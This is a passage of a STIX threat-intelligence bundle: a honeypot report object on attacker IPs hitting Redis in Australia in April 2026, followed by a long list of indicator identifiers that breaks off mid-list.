{
  "id": "bundle--a79a2d3f-0a25-4754-b513-edc23c90b7d0",
  "objects": [
    {
      "created": "2026-04-01T00:25:13.413Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view for April 2026 of IPv4 addresses observed by Redishoneypot on a T-Pot honeypot. Attacks targeting Redis port 6379 including replication-based RCE (SLAVEOF/REPLICAOF), config manipulation, module loading, and cron/SSH key injection. Each run looks back the last 1h and appends newly seen indicators for this month. Location: Australia.",
      "id": "report--a79a2d3f-0a25-4754-b513-edc23c90b7d0",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-04-30T20:25:10.044Z",
      "name": "Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--43b07099-00fd-4dc6-87aa-64d38c2f6ae0",
        "indicator--75b46f72-88f0-4b07-ab64-c3b14dadb840",
        "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
        "indicator--7e7e8f59-6637-45de-917c-bfc3563810aa",
        "indicator--d17a471f-2b45-48db-8648-3e85f305c0ce",
        "indicator--82373de7-e2c0-4221-816c-fe8fff62091a",
        "indicator--16e4b43b-2f20-427b-9031-e527409eba19",
        "indicator--b8f229b7-6a23-4633-911b-a820b145bf0a",
        "indicator--6bebe8ac-23e0-499d-8147-a8e877680661",
        "indicator--762dc765-7b7a-4901-968d-f828e6b4ef3c",
        "indicator--2c63c497-4352-47bd-9462-b79572d72fdc",
        "indicator--62bcf957-037b-4e88-a093-c0feee9e434d",
        "indicator--33eca3b2-eb24-4320-9bfd-e4a0fb183b2a",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--ab957f89-acec-4f34-9e0e-df7516aace68",
        "indicator--f04f5c44-9d83-4dc2-8548-e0f2d72827b9",
        "indicator--fd77d66a-6b60-47df-b6bb-5aeb606715f4",
        "indicator--1145077c-2517-4617-89f2-667b7d5a009e",
        "indicator--519a06d3-ba5f-4873-ac7a-0e0582a9f0ad",
        "indicator--a37f9cdf-98a3-4c38-9ba7-b909aea5d2e8",
        "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
        "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
        "indicator--3aaca74b-f4b1-4562-b435-3b76f468d04b",
        "indicator--e1f89d18-6544-4b81-9d41-62d4da42845a",
        "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
        "indicator--729fd260-e2b7-49d4-a336-c8c4feb99473",
        "indicator--9fbdb126-5fd5-4ccf-8776-6b8976979f3a",
        "indicator--e7e26056-6230-4807-8535-a6b17f64c441",
        "indicator--9a5b5266-42f2-42df-aa87-5bd5697a2b59",
        "indicator--011efcfd-8567-4e19-986b-ef403f4857bc",
        "indicator--bbc671fa-5865-4efe-aafa-6c8c56682afe",
        "indicator--60691cf4-fb87-4509-94dc-9d3fa7f8d8d6",
        "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
        "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
        "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
        "indicator--d24c39a4-52c4-4960-9fb0-de575ffc38ea",
        "indicator--f61f47e1-2640-427b-a01c-7a2a4dfb8e52",
        "indicator--aeb4bd7e-61b7-42fd-93eb-2dfa8cbdd503",
        "indicator--d4e60d2f-a64e-41f4-a214-c78ee8284717",
        "indicator--f773ea25-8299-4b9c-9a86-33ec7be4874c",
        "indicator--bcf3d726-5eae-4327-b6ff-607cd1ddc93a",
        "indicator--f40fcd60-e4ae-4d2d-8ba9-d385d3fb2f39",
        "indicator--837a7d39-53d1-45c7-86c3-41f0557a0d8c",
        "indicator--bd5a6661-b4e7-4172-9d35-1c74b4244c98",
        "indicator--5ed391d6-686a-49ec-b900-de578c232106",
        "indicator--4fb2ff2c-681a-44c9-af70-3c461fac67b0",
        "indicator--ec3848fb-75c9-45cd-9026-d02348362b61",
        "indicator--fb4f92f3-0c2f-45b5-8235-3a81fff0631b",
        "indicator--7ded0026-9eaf-4453-9508-6c18be924859",
        "indicator--84d05e4b-fcce-4969-a37f-cd740a3c78cc",
        "indicator--e4189362-0c70-4990-9723-146fec0256a6",
        "indicator--b57a0a3d-aa7d-4ea3-9874-4e370cb7c48a",
        "indicator--d311087e-d802-46f5-8499-e782e43f6110",
        "indicator--3fe1e23e-98b5-4379-be5b-d1688d41aa86",
        "indicator--c03ac74d-6b04-4b18-b64d-0b092b410437",
        "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
        "indicator--bf2949a5-4c72-4f46-b3c3-76b4b7ad66a1",
        "indicator--e87370b5-a40c-4dda-b7a3-79eb8c13519a",
        "indicator--2ea6f6d1-c9ac-4928-8c3d-6facbaee8b15",
        "indicator--479700b0-061f-4dd5-b0b7-372c097a7c1e",
        "indicator--73e04678-7410-4884-8d9a-3d7762d04248",
        "indicator--4af4e26b-afac-4348-9195-f2c8dc47ed69",
        "indicator--87d04782-de54-41a1-a0ee-39c151f1acfd",
        "indicator--95fdf8f2-285e-4266-b59d-7f252f019f9a",
        "indicator--4dbcc8e3-a6b8-4bfb-a7df-77516d36d539",
        "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
        "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
        "indicator--2edd28f9-b6aa-4f8d-ab61-4ea4638332f5",
        "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--66b9d799-cf16-40ad-ad66-8490b7b3a0f3",
        "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
        "indicator--5dbe1268-4f10-4bcd-aa4f-ea2a6a33e027",
        "indicator--43431d1b-3d32-4b9b-b618-a6d4ca45f6a8",
        "indicator--27f8887f-3c48-4e2b-8be7-83983c6d4ca1",
        "indicator--5c0be79d-f040-4458-a636-b7bdd0dec4bb",
        "indicator--7a451679-7459-4e82-b526-bdbb30c402e1",
        "indicator--33a68e96-b0cd-441d-9b55-d16078327ebd",
        "indicator--795a57cb-2d2d-4e1d-848a-23951d6c1e7f",
        "indicator--3aefed46-f5c1-4d75-a2e4-fd9be341e368",
        "indicator--79241d90-9a2d-4a53-bab8-43016e51a699",
        "indicator--319cf0ed-9adb-4c9f-9624-7d2cea07e0e3",
        "indicator--83f4460b-c834-4ce0-8a71-7dbd79c31c0f",
        "indicator--f3145607-ab78-4c4e-9722-4d8be2766a10",
        "indicator--3774f2cb-c02f-4506-8fa9-2c9d1b02b361",
        "indicator--bb0afc63-7e8a-4ef7-89c7-ea123c581c68",
        "indicator--4d9c2091-704a-482c-9f50-45a6c5f77654",
        "indicator--a934b79b-0d51-42cf-83d0-eb784cf43673",
        "indicator--9fe37510-09c4-4ada-b9e2-e0f65afa940b",
        "indicator--54174b0a-e8c5-4ee1-a5d3-5e6342b1c21d",
        "indicator--b6f8cae2-06d9-4af4-a7ed-ed89146649b7",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--8f155738-3760-40b0-9dd4-82781b3b084e",
        "indicator--1a456dab-2fc6-46c4-b000-96f6fbff7118",
        "indicator--1badad10-6d46-43b9-8cc9-c6054907ff25",
        "indicator--434bc7d3-3a23-4c20-abcc-0f017ebf5e57",
        "indicator--fd4cfe9b-30d5-414d-8904-0ff494ec4118",
        "indicator--117950da-2848-4f32-885c-5730176e9b0c",
        "indicator--bdca2c36-1ec7-4fbd-bab6-7d4157acfedb",
        "indicator--336bba8b-9e67-4a5d-8463-6796feb680bf",
        "indicator--f8523af7-9bb5-4062-a18e-0da2651e6989",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--553eab97-b0c7-4b99-8245-45cad6c4fbeb",
        "indicator--8d296f55-b326-4680-afb0-81c1f9dce703",
        "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
        "indicator--3530b54e-5f8d-4a18-99cf-f510c85252b8",
        "indicator--7aa5a21a-4f63-48b0-84e0-9b056d368c08",
        "indicator--7d789f6c-f1e0-49b6-80a2-018b39900f22",
        "indicator--66850bf9-1b07-43d0-95e4-75db418202ce",
        "indicator--51d9ebf3-56fc-42aa-9e17-1301673254e2",
        "indicator--60e608f4-fe3e-4069-bcf2-df607a3f398d",
        "indicator--0b945424-6aff-46b5-964d-ebca98fb3aee",
        "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
        "indicator--d7e4ed83-6b2f-48d3-a294-0e5c7f644613",
        "indicator--e96118ce-0df1-44df-a9fa-07a791085fe2",
        "indicator--4c8fca13-3e87-4484-aa9a-6de69b5bd090",
        "indicator--e580a70b-37e9-4779-95a8-96a668d76758",
        "indicator--ec9bf603-c7e7-4c35-b058-331ca6732142",
        "indicator--e5b095c2-c04e-48ff-96c6-1191faf194e3",
        "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
        "indicator--9243f9a2-9c69-4645-bb2e-80f5c669de02",
        "indicator--31d8be97-89dd-4586-8ee0-dc6fd60f068a",
        "indicator--a96ffa2d-ac50-4713-b586-85020d14df8f",
        "indicator--22a7f4a5-5831-4a45-8aed-7197ea5d78dd",
        "indicator--567c8256-1a96-4aeb-a615-ee326f356bf9",
        "indicator--2c363a33-1117-4c81-b6f1-b5699d8fde03",
        "indicator--4d97ca37-f7d3-4d20-b748-965ca93f3ba3",
        "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
        "indicator--5b1ed4aa-c0a7-419e-a2c5-f6b206da1763",
        "indicator--cdc6e8b3-7870-4a67-8cbd-9b55b6755ba7",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--61cf4731-ab44-4633-bf06-8d0c3589ec6e",
        "indicator--7f82a101-fda0-4645-9eb8-3b0ed33e8c2c",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--a1c592bd-4461-442e-a00a-28af93636366",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--ea1554dc-4906-4d3a-a319-f8523e09a7ea",
        "indicator--4c9649e1-6664-4d9b-981e-c891cd2d00e6",
        "indicator--3372bbd4-b894-4120-8a91-c66faba7e60d",
        "indicator--9846c45c-98eb-4aac-9eb5-5582c69beca3",
        "indicator--d4272000-5618-4949-972e-6b0edd270a5e",
        "indicator--a15b0204-6127-4617-af39-bb90f99b2240",
        "indicator--79e41076-6a47-466c-b133-a8e601349b20",
        "indicator--b4ad24d1-a469-4a23-aa2f-0e3b3e50c981",
        "indicator--c2760d42-3810-4bdd-b5b6-dbbe8697c7dd",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
        "indicator--d1cc8a2b-5c96-4fa7-ba89-70dd05be3e47",
        "indicator--04fda896-e167-44b0-b209-1200623a9270",
        "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
        "indicator--69d09757-011d-468a-8a4e-beeff75414b8",
        "indicator--923e630e-83ac-408c-a78e-0ab8969af41a",
        "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
        "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
        "indicator--ed9e9017-bb61-40d1-ae14-1c05d2ae2f84",
        "indicator--d79aa355-b87e-4f04-a7b6-1a79306608f7",
        "indicator--ae1a0a5b-c5bb-4195-802b-b33c9cb4d467",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--36a83e2d-8b69-4473-ae65-8bc90650f71d",
        "indicator--7807ee21-7c6f-454e-bbf3-8e8852e462bc",
        "indicator--8e65190c-eae2-45f1-a97e-b1f8b34160e5",
        "indicator--6b0373a2-445c-4a28-904e-48be1bcf046a",
        "indicator--97368846-d340-45b8-a746-39f0f9e62ec0",
        "indicator--6adbe385-e24f-4c68-9de1-14fa828dd28e",
        "indicator--d08e9e16-4029-40ca-be4f-1d3d6f829098",
        "indicator--de55690b-9079-4f69-8b4b-79953eca45fc",
        "indicator--16e5a08f-2a40-409b-8616-9132c9c7f8b1",
        "indicator--3d63b6ae-7547-4baf-9a4e-df68837181cc",
        "indicator--8a4d0218-6f8b-460b-88bc-3ccd87cf41f2",
        "indicator--782c6cc0-193d-41af-a6ab-f31fb3257a07",
        "indicator--d5697f8e-ca16-4b0b-a44f-41a88d5abcc0",
        "indicator--7c9d434e-6ceb-4cdd-af53-c613f7f86a76",
        "indicator--20878be8-78e9-4a2a-b258-45d3319d36bc",
        "indicator--071d8ad7-7da7-4ebd-8a9c-079ca8e5120a",
        "indicator--9b04e9a2-0134-49b8-b0f0-8f3abca3f765",
        "indicator--f6f247e5-1d78-4d43-9d66-9e01613a131b",
        "indicator--209399b4-6229-49b8-990f-e23814ba3143",
        "indicator--6357eb1f-f8f7-40ec-b2a9-c678f0745d48",
        "indicator--3a5c4bff-63fa-4134-8d3e-0731f1ba8a1e",
        "indicator--4139e390-dd2b-4d49-99e3-306fd5f74c1f",
        "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
        "indicator--84183dd5-3cb7-4400-9f8e-a96b328ac75a",
        "indicator--ea3c8524-65d9-475a-a159-aaff561495a5",
        "indicator--1065b016-75f7-4523-b9b5-bb5051811f9b",
        "indicator--2c63eeb0-a193-4caf-951e-0acb22f87726",
        "indicator--8da4bd2f-6e68-4c40-92a8-8aa965680fc3",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--aaa021cb-f235-482b-9d10-0ec4a86e4022",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--c1dbfc8a-4ef1-4630-9770-0fad5f5cad7a",
        "indicator--119bb722-aa58-4581-b2bf-470b35a6b1e9",
        "indicator--ca87acee-bbfa-4deb-bfe8-e8ace6cf58b6",
        "indicator--cfd5e92e-fa06-4f7c-8899-a13c382a809f",
        "indicator--18b133d8-34b1-4a1b-a219-342246c8ef38",
        "indicator--ac5f78d9-486c-4555-a16a-a8cd1ea21568",
        "indicator--1fe2666a-9fff-4e65-aea4-7b3264ebba14",
        "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
        "indicator--c36834c0-ced1-48fe-b632-5f81bb73a2eb",
        "indicator--44c21716-38dd-44a3-9ca5-621bee22e003",
        "indicator--c390beb6-0e6a-4ba5-9a2f-6dc10bda804a",
        "indicator--e85c4b06-bf8d-404a-8ea8-2f07b823d4b9",
        "indicator--1ef6d8c0-acb8-4adc-81aa-10cfd0a911d2",
        "indicator--6d59f4c3-6426-4496-aa98-3a8efd488b84",
        "indicator--d3aa3816-d116-4d72-8023-c5e8484c8c8f",
        "indicator--2a382b6c-13d3-45ed-a704-0047641db63b",
        "indicator--d1ba0169-ef67-4e5a-91f7-a91aa07f35f7",
        "indicator--6b9fc1a6-733c-4598-9b24-3e4cffbe98c7",
        "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
        "indicator--d25ef42f-e74a-465a-beed-79555082ef03",
        "indicator--45499378-5690-4ce7-8550-af31266c8693",
        "indicator--30cb16a0-217b-4c34-9aae-7f5c489570e9",
        "indicator--605d7ada-ecac-4099-b962-0719daea7188",
        "indicator--7a58d934-ad32-4697-b07d-ceda43c25226",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--cc8cddd3-be24-4e32-995f-b0d68677339e",
        "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
        "indicator--8dcff9fd-79c8-4567-baf1-3d359eb87805",
        "indicator--bfebae53-a29b-4c52-bf09-463bb575e05f",
        "indicator--d961ad73-3e44-430c-9477-97f83ee8a4f5",
        "indicator--a988514a-c4e0-46a9-a019-54119250e1df",
        "indicator--2ef3526b-7faa-47d5-9b06-879edc03eded",
        "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
        "indicator--eccc8522-903b-40cf-a7cb-2071f3a9ee40",
        "indicator--32107618-4db0-4cd8-89c6-8a951ba5cb78",
        "indicator--b92fa9ec-9cff-4583-a625-17d1c9e9381b",
        "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
        "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
        "indicator--5184b425-94b6-4d16-921b-985eab2364ee",
        "indicator--d07e0771-ccf8-49af-a48f-ecdcebec2e65",
        "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
        "indicator--91d6db15-30de-4f83-98b3-b097e39d325f",
        "indicator--56fc546b-4526-458a-91a9-95e6f86210d5",
        "indicator--f640bf6c-b12c-46bd-a500-4d1cbf62d9b1",
        "indicator--69a73c4b-4549-497e-9d9a-8ddebcb237b9",
        "indicator--b4f0bf8c-4447-4710-9bee-ed6c330c12a4",
        "indicator--eab94e3e-771a-48a2-ac59-b3df61d51b66",
        "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
        "indicator--2f838d4a-df87-42a0-9778-aeef9494660a",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--60e6dd63-225e-474f-9c8f-d6c574edd192",
        "indicator--d596c357-a24d-449d-9474-3a195e2881d4",
        "indicator--0f16b65d-1f7b-4205-bc33-e8a5780a9806",
        "indicator--def9891e-98c7-40be-9a6b-97b4651e252a",
        "indicator--2207ad09-6c87-4fd4-b6a9-3b0488c29a44",
        "indicator--3622bf7a-34dc-4e00-a984-29f5f1741edf",
        "indicator--4b4e3463-4a15-4828-bab4-326c63b34f65",
        "indicator--06422f07-2319-46d6-b4d2-23d27c251f64",
        "indicator--6a774260-42c8-45de-a2bd-ed00e4878fd7",
        "indicator--3b97a83f-70ab-4b60-b1d9-bd775ec22d92",
        "indicator--579daa94-4ddc-4528-8f2e-dc06448e0987",
        "indicator--9fb1b7be-de3f-4b17-9c8f-f0762cccc70b",
        "indicator--3b583baa-bf09-4c0a-ac3c-72fa965f9836",
        "indicator--af43d554-3043-4c02-910a-cd085493fdb2",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--c0c6c7f2-648b-432a-81ff-7be0b57cbd27",
        "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
        "indicator--e0cee174-a471-4440-a832-52374f832c26",
        "indicator--ee72bf70-aee5-421d-9433-04249b7a433b",
        "indicator--2320af7b-6d3c-493e-bdba-1a570058bd0e",
        "indicator--a4c16a2b-639e-4bcb-aa07-8a26bd381e64",
        "indicator--b0213881-16c4-4555-aed3-4d887ca8270f",
        "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
        "indicator--71f35632-f0fb-4d2f-a11d-af3cbb0dd6a0",
        "indicator--53afeb5c-80b9-4a0f-b821-720942feb2c1",
        "indicator--10bf6269-9952-41e4-9dac-e48471ff347a",
        "indicator--89e15fbb-4907-47a9-84e5-91fbf4ac0a84",
        "indicator--054d0096-3d58-47f4-a830-e2092487510e",
        "indicator--c818ee43-df36-4975-9cea-c6fc6cf3d087",
        "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
        "indicator--d6251bcd-c62b-4e48-835d-3adec5904aa5",
        "indicator--b2133504-90d6-4eb1-83c3-e0f358962f83",
        "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
        "indicator--77bc7b92-3d62-4095-ab63-cde17bdda348",
        "indicator--b8f51242-7d7e-485c-ba45-72fef17b6a3c",
        "indicator--178fed7f-ca55-4aef-9ec1-6d50480057ab",
        "indicator--8068fd46-03f5-4476-9078-d4da6165f6a0",
        "indicator--cea414d3-bb30-4744-a8ce-dd0a2d118e87",
        "indicator--709dd183-633c-4bf3-9fe6-aba68e6ea558",
        "indicator--81905b69-f485-46e9-841b-6cd7e0302311",
        "indicator--2531d97c-085d-46d4-83e5-0023275484dd",
        "indicator--1c0afb5e-6b4b-4c39-ba10-7b94c4e3407b",
        "indicator--eac5f022-732a-4458-a45b-a0b0c3d12684",
        "indicator--bb9d1203-2cf4-4d40-8473-a95e50df2d75",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--d47a9e63-0338-4a09-b0ee-c06d9b228cfd",
        "indicator--8abfc61a-f7e3-4230-a985-7b8a9d78ff4b",
        "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
        "indicator--40f67f9e-2198-4126-86b8-73a879b31791",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--557c786f-025b-4beb-b4f3-73a223df2dd1",
        "indicator--d961bd9a-1d4c-4a03-a36a-4c98b1cf6034",
        "indicator--f9225773-2053-4e36-9f4e-70992c5281c1",
        "indicator--eaf580dc-57cc-404b-b454-e70da311912b",
        "indicator--18d6611b-b835-42bd-ac51-5ca3e1e5660e",
        "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
        "indicator--5f430783-84ee-4bd2-b01a-c48a4885b621",
        "indicator--f9e103c2-5494-4119-b8ea-5d54734e3d82",
        "indicator--c4ba10ea-1d65-48af-a605-0b71a5f2753b",
        "indicator--04a51a95-7d5c-4f30-8bc5-7ac0b64c21f0",
        "indicator--836055fb-a07f-4d63-83fa-3e8d255b3823",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--5ef1cd45-cbb2-464e-a3b0-26ea78e0b925",
        "indicator--729a819c-9b83-44ac-95f9-d8ee6b66e6f1",
        "indicator--72c7f504-ebf5-4283-8cfc-40ec47ca5da6",
        "indicator--2f5937b2-b984-4c17-a562-0a7388fc1f80",
        "indicator--4959f6ac-5c82-47f5-8f22-3290787d8ca8",
        "indicator--6c8dc422-96c3-480e-b803-2be99d31e9b2",
        "indicator--cefa8ced-6672-4a0d-93c1-e3f250f8169b",
        "indicator--eeaf8d0d-087f-4b60-85d2-4ed457a7d6f7",
        "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
        "indicator--a6c87e35-4308-4931-b560-ada215349a3e",
        "indicator--d8754914-e8dd-4922-9c02-c966adac1ea9",
        "indicator--0598e181-ec0d-44a8-8574-460f8fd3ea8a",
        "indicator--51d4a14c-8f9c-4e25-bb92-cebb7cb1fb28",
        "indicator--324b291b-d01b-4660-8b76-21c32084f1b6",
        "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
        "indicator--4649b435-48c3-486d-8d48-19f8afc8f5a4",
        "indicator--25888c7b-23e2-4ad1-94b4-12f389ecb448",
        "indicator--c4bee7f6-4b9b-4689-bcb6-a8d27bec7eaa",
        "indicator--00ea72eb-fd65-4cf6-a122-7385bda7b2ac",
        "indicator--f0dc03fb-1b23-4966-9013-b967f8d1b984",
        "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
        "indicator--7986156b-54e5-4a7f-bb92-7e9db5040415",
        "indicator--a0d06db5-1ac6-4612-9f0c-4c30d5895c2f",
        "indicator--37a9e7d9-8c47-4386-a8e0-d6c674bff0a2",
        "indicator--be65d27e-8e1a-47a1-96e7-606d03b1b3a7",
        "indicator--dbd3aa41-6b24-4ad8-8bb9-8af9f6282143",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--fe7a58c1-699e-4708-a450-ec911d2dccfb",
        "indicator--27bd7d78-4692-4088-8ba6-e9e7bd1f616b",
        "indicator--ffafaa18-14bd-4c40-a135-08974301211b",
        "indicator--a66044e0-4347-4a1c-bb3c-dbddd465d0c5",
        "indicator--5bf1402a-bd71-42ff-a830-dfe3cdef25ab",
        "indicator--7947835f-63ec-4c16-8a92-811d91b23fc0",
        "indicator--b0520bab-3162-47d9-bc95-d62806bffa54",
        "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
        "indicator--bec1254f-4dea-4652-b4ba-1e61492d671a",
        "indicator--5abdb8f6-66f2-4ca7-8d1f-a6c0ae7590a6",
        "indicator--3f4af958-738d-4f6d-ba88-34a80923019d",
        "indicator--835d8321-4a92-4944-a74b-7ec349bf418b",
        "indicator--8d974e63-f1fe-4fd5-b3fa-7eaaea32ff0a",
        "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
        "indicator--59ef20c3-0333-4a67-9a48-1f28fbb2c3d7",
        "indicator--40524246-6b10-40b3-bb91-7387a9a8513e",
        "indicator--d6b1f5be-649c-4447-bd50-0972e9e48cfe",
        "indicator--daa90a25-56da-4a25-bf83-596cd0381f52",
        "indicator--437b0d1a-b682-4df4-bfa3-2a7595e7243c",
        "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
        "indicator--c10a328d-eecb-4aaa-a483-b12d59f947ef",
        "indicator--861fbd0b-3e6c-432f-9e79-af0eb12567ca",
        "indicator--c79667fd-cc90-475c-a7da-309e832e7044",
        "indicator--fd111d2c-7132-430e-88d0-19c97537128f",
        "indicator--5934204b-0992-4836-b09f-050ef4872b53",
        "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
        "indicator--23ed022c-4dd5-4519-bd0b-9712f151d8a6",
        "indicator--164e8045-ccc3-4acf-8fb4-877d9b4c069a",
        "indicator--c7edd318-4bb9-4fe1-aec2-ada3d18515be",
        "indicator--67a3df26-ab8e-4816-8ba5-f465818885dd",
        "indicator--3dc5a291-1e5c-4f24-b369-c3534a422583",
        "indicator--52fe56b4-1f4e-4aec-b4d7-bd090c4ffd24",
        "indicator--89640d6f-6b9c-42d9-a1fe-5318a4dc1018",
        "indicator--a499dae7-987e-4a69-9b13-7d1add57633d",
        "indicator--666afad1-3e39-4236-b371-8d938585701c",
        "indicator--56df5d6b-aaaf-4c7f-a80c-6cb110c3070e",
        "indicator--62ba5038-744c-4a3c-92a5-3176117c8cc7",
        "indicator--56e0890b-8570-4707-88b0-1708f46e40b2",
        "indicator--49a8794e-f2b9-4d1d-a759-b2c8d4f4886c",
        "indicator--60500b06-0caf-48c0-bf82-1432a3eeb449",
        "indicator--edc05f00-7ea1-4146-955c-1d93f65eb68a",
        "indicator--31b6a4bc-61c0-45de-bffd-b88bcdb1fa50",
        "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
        "indicator--05a37e5f-4bcc-4af7-86a9-97c77468bfd4",
        "indicator--44b664ae-ce5d-40ec-aab5-e975508a21ff",
        "indicator--ecac0f92-0d7b-4598-8740-796c7bf49f08",
        "indicator--e14a265a-d4e0-4500-90d4-665d124842e4",
        "indicator--08cd7a19-8624-4105-88ce-a6e1368f12ff",
        "indicator--9013458c-43e2-4e43-b785-56d2893c6358",
        "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
        "indicator--328a7d53-b92e-4c38-a9e7-291fcc38e234",
        "indicator--ad2153b4-8642-4286-98eb-bfbe8c4e130a",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--d806a66e-799a-48e8-9462-888c98f391da",
        "indicator--4acc3a34-b13c-4b16-b1b0-b4114c4fe50b",
        "indicator--c69f9b17-ccf7-4bbd-89ae-837db1946a1c",
        "indicator--ef78c7dd-31e4-44af-8dab-8f099fa3a117",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--644cbc41-5669-4121-a3b6-77861d09734f",
        "indicator--f8956b90-5815-4dab-92c1-838d4ba79c00",
        "indicator--5689e941-679c-401f-86e8-ae22081154e2",
        "indicator--20648bee-b5c1-468d-bb19-eb2684bd7a40",
        "indicator--b6b6d54b-9424-4638-b3c7-543ef3d726e9",
        "indicator--ac7f83c8-1928-4331-8ca8-ef68658e7dd5",
        "indicator--1e50823c-78f7-4ff4-8ab6-b8bbc3fbaac8",
        "indicator--9d18e0b1-1409-4b74-9da5-97d379dfc212",
        "indicator--b71901ee-a266-4ba6-8409-89ef5d2c4ca4",
        "indicator--4922af1e-b81b-4f6c-85cd-5e188b20cf88",
        "indicator--72f5f799-77c8-43d3-ae96-4fb1494a07d3",
        "indicator--55348683-e22c-4d04-8d81-b81c61d8f3d1",
        "indicator--db4fff6d-4c46-4889-bcba-cea281048221",
        "indicator--ad44c692-f060-4eec-b174-737aacaa6acb",
        "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
        "indicator--647245a3-c3cc-4231-8ec1-ee934726d737",
        "indicator--d32c3ae0-33f2-4904-baac-b5a630ac877e",
        "indicator--220ffc9b-7724-482a-9a2a-ab4db7236b84",
        "indicator--23f09a5d-09aa-4a71-89fa-b693bfebfe02",
        "indicator--92c666b0-cc2b-477b-9252-124f5bef2791",
        "indicator--8343d52a-1f0b-46e1-9983-011b8a741b29",
        "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
        "indicator--2ef7a188-241c-4b47-a17b-0ab475ff7599",
        "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
        "indicator--90b28aa9-4ea5-4816-90ca-d72b3d015ac0",
        "indicator--b7d5fe16-b723-4a5f-bdaa-5e66434bde82",
        "indicator--511c3719-bd49-4016-8569-fd0df4db273d",
        "indicator--381324d6-31aa-484f-8ba8-2ddb35851205",
        "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
        "indicator--e631acc0-a322-4cc1-a3ca-1e4620d0adfc",
        "indicator--56cbf51b-549c-46d8-bb5e-01fa5ce84843",
        "indicator--b8b32bab-ff67-4cd9-8808-928c87eeb45f",
        "indicator--900123a4-9e83-4291-97e2-8cd2d742a47e",
        "indicator--e98711eb-ad08-4e3b-a2d2-96696d1681f8",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--cb0e5d61-8f5d-400e-b24f-b4c068e007c1",
        "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
        "indicator--de7b19fa-e6d8-41ba-a04b-9f0ea703904e",
